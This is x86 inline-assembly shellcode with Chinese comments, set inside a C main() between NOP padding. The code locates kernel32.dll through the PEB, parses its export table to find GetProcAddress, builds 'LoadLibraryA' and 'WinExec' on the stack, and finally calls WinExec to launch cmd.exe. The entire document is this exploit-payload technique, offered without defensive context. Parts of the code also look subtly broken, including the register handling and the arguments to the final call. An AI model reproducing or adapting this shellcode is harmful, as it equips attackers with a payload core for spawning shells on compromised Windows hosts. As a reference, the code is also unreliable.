汇编程序:
main() { __asm __emit 0x90 __asm __emit 0x90 __asm { mov ebp, esp push ebp ;获取kernel32.dll的基址 保存于eax push esi ;通常在内存操作指令中作为“源地址指针”使用 xor eax, eax mov eax, fs:[0x30] ;PEB地址 mov eax, [eax + 0x0c]; LDR地址 mov esi, [eax + 0x1c]; FLINK地址 lodsd ;传送esi地址里的值进EAX mov eax, [eax + 0x08] ;EAX保存为kernel32.dll基址 mov edi, eax pop esi ;获取GetProaddress mov ebp, eax ;kernel32.dll基址 mov eax, [ebp + 0x3c]; PE首部 mov edx, [ebp + eax + 0x78];export的偏移引出表地址 add edx, ebp ;edx引出表地址 mov ecx, [edx + 0x18] ;函数个数 mov ebx, [edx + 0x20] add ebx, ebp ;函数名地址 search: dec ecx mov esi, [ebx + ecx * 4] add esi, ebp ;依次找每个函数名称 mov eax, 0x50746547 ;'PteG' cmp [esi], eax jne search ;如果不相等就再循环 mov eax, 0x41636f72 ;'Acor' cmp [esi + 4], eax jne search ;如果不相等就再循环 mov ebx, [edx + 24h] ;引出表地址向后移动24h add ebx, ebp ;序号数组地址,AddressOfNameOrdinals mov cx, [ebx + ecx * 2] ;计算出的序号值 mov ebx, [edx + 0x1c] add ebx, ebp ;函数地址的起始位置,AddressOfFunction mov eax, [ebx + ecx * 4] add eax, ebp ;利用序号值,得到出GetProcAddress的地址 ;成功获取到GetProcAddress的地址,保存于栈中,进行下一部调用 pop ebp mov [ebp+40h], eax ;把GetProcAddress的地址存在 ebp+40中 sub esp, 50; push 0x0 push dword ptr 0x41797261 push dword ptr 0x7262694c push dword ptr 0x64616f4c ;在堆栈中构造LoadLibraryA字符串 push esp ;参数栈的栈顶 push edi ;Kernel32的基址 call [ebp + 0x40] ; GetProcAddress(Kernel32基址, "LoadLibraryA") mov [ebp + 0x44], eax; 返回值就是LoadLibraryA的地址,存于ebp+44h push dword ptr 0x00636578 push dword ptr 0x456e6957 ;在堆栈中构造WinExec字符串 push esp ;参数栈的栈顶 push edi ;Kernel32的基址 call [ebp + 0x40] ; GetProcAddress(Kernel32基址, "WinExec") mov [ebp + 0x44], eax push word ptr 0x0005 push dword ptr 0x00657865 push dword ptr 0x2e646d63 push esp call [ebp + 0x44]; pop esp } __asm __emit 0x90 __asm __emit 0x90 }